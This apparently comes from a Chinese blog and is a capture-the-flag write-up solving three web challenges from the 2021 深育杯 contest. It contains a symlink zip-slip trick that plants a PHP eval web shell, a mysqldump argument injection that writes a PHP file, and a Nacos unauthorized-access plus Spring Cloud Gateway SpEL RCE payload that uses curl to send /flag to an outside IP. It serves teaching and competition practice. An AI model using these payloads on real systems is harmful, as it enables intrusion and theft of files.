Unzip
参考2021深育杯-网络安全大赛专业竞赛部分wp_七堇墨年的博客-CSDN博客
2021深育杯的zipzip
使用软链接,先生成一个指向/var/www/html/的软链接文件夹feng,
使用
ln –s /var/www/html feng
使用-y打包
zip -y feng1.zip feng
,上传到靶机上,这时候靶机上tmp目录下有一个名为feng的指向/var/www/html/的文件,如果再解压到feng文件夹下的话,就会自动接要到feng所指向的目录也就是/var/www/html/,这时,
再写一个木马文件qkr.php
内容:
GIF89a
<?php @eval($_POST['qkr']);?>
放入feng文件夹里面
使用
zip -r feng2.zip feng
打包zip
上传至服务器,
访问/qkr,post传
Payload:qkr=system('cat /flag');
dumpit
参考文章CVE-2022-2143 Advantech iView NetworkServlet 命令注入RCE - Y4er的博客
这里面dump应该是直接用mysqldump的shell命令来dump了,
而且应该是直接拼接的字符串,可以使用-w写文件来写入shell,使用-r覆盖路径
直接在flag1后面加上 -r "./test1.php" -w "<?= phpinfo()?>"
写入phpinfo,
payload:?db=ctf&table_2_dump=flag1 -r "./test1.php" -w "<?= phpinfo()?>"
这里是ban了;的,但是php如果只写一行代码的话,不需要分号也能执行命令。
之后访问/test1.php,即可进入phpinfo界面
ctrl+f搜索flag,即可发现flag
ps:题目不是说flag在/flag下么,我tm用system('cat /flag')半天抓不到flag,结果最后在phpinfo里面找到了。
BackendService
使用nacos未授权访问漏洞,发现nacos用户并修改其密码为123456
NACOS漏洞深入解析(审计+复现)_FR0-1的博客-CSDN博客
使用nacos/123456登录
进入后再服务详情中发现他有一个spring_cloud的服务服务名为 backendservice
这应该就是用到了Spring Cloud Gateway RCE,结合nacos修改其配置,结合文章
Nacos结合Spring Cloud Gateway RCE利用 - 先知社区
根据文章编写flag外带的json格式的payload,(置于为什么是json而不是yaml,可以从附件源码中发现)
{
"spring": {
"cloud": {
"gateway": {
"routes": [
{
"id": "exam",
"order": 0,
"uri": "lb://backendservice",
"predicates": [
"Path=/echo/**"
],
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "result",
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'curl','http://39.101.73.196:6666','-T','/flag'}).getInputStream())).replaceAll('\n','').replaceAll('\r','')}"
}
}
]
}
]
}
}
}
}
上方json中uri是指向了backendservice服务,value中执行了java命令,将/flag文件发送到了我的vps39.101.73.196的6666端口
在39.101.73.196主机中监听6666端口
在配置列表新建配置
data id还有group可以在附件源码中找到,在这里可以发现他的格式是json而不是yaml。
配置格式json
内容就是上方的payload
点击发布
成功接收到flag